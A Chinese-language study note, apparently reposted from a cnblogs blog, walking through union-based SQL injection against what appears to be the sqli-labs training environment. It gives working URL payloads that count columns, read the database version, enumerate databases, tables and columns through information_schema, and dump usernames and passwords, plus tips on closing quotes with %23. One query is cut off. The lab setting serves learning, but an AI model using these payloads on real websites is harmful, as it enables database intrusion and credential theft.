SQL注入

id  title  content  time  author

select * from news where id = 1;

select version();

select * from news where id = 1 order by 1;  用order by进行列数排序查询列数

 select * from holder where id = 1 union select 1,2,3,4,version();  用union连接输出两个SQL查询语句,必须列数相

实战:http://10.1.2.5:10631/sqli/Less-2/?id=1

   首先http://10.1.2.5:10631/sqli/Less-2/?id=1 相当于select * from holder where id = 1;

  http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 1 去查询列数

  因为排序页面只显示第一条数据,所以http://10.1.2.5:10631/sqli/Less-2/?id=0 union select 1,2,version()过滤掉第一条数据输出想要的数据--版本号

group_concat() 显示查询到所有的列

information_schema一个库

      schemata:保存所有数据库的名字

      tables:保存说有表的名字

      columns:保存所有字段的名字

查询所有的库名http://10.1.2.5:10631/sqli/Less-2/?id=0 union select  1,2,group_concat(schema_name) from information_schema.schemata 从information_schema库里有列名为schema_name的列里提取所有的库名

查询当前库里所有的表http://10.1.2.5:10631/sqli/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()

查询某个表里的所有列名http://10.1.2.5:10631/sqli/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users"

查询表内的内容http://10.1.2.5:10631/sqli/Less-2/?id=0 union select 1,group_concat(password),group_concat(username) from

http://10.1.2.5:10631/sqli/Less-1/?id=1' 报错中‘1’‘ LIMIT 0,1可以看出id=后面跟着其它语句,导致不能直接 使用order by  应该是这样http://10.1.2.5:10631/sqli/Less-1/?id=''LIMIT 01

http://10.1.2.5:10631/sqli/Less-4/?id=") union select 1,2,database() %23 注入时要闭合所有的没有闭合的符号

原文地址:https://www.cnblogs.com/Blizzard-player/p/8876092.html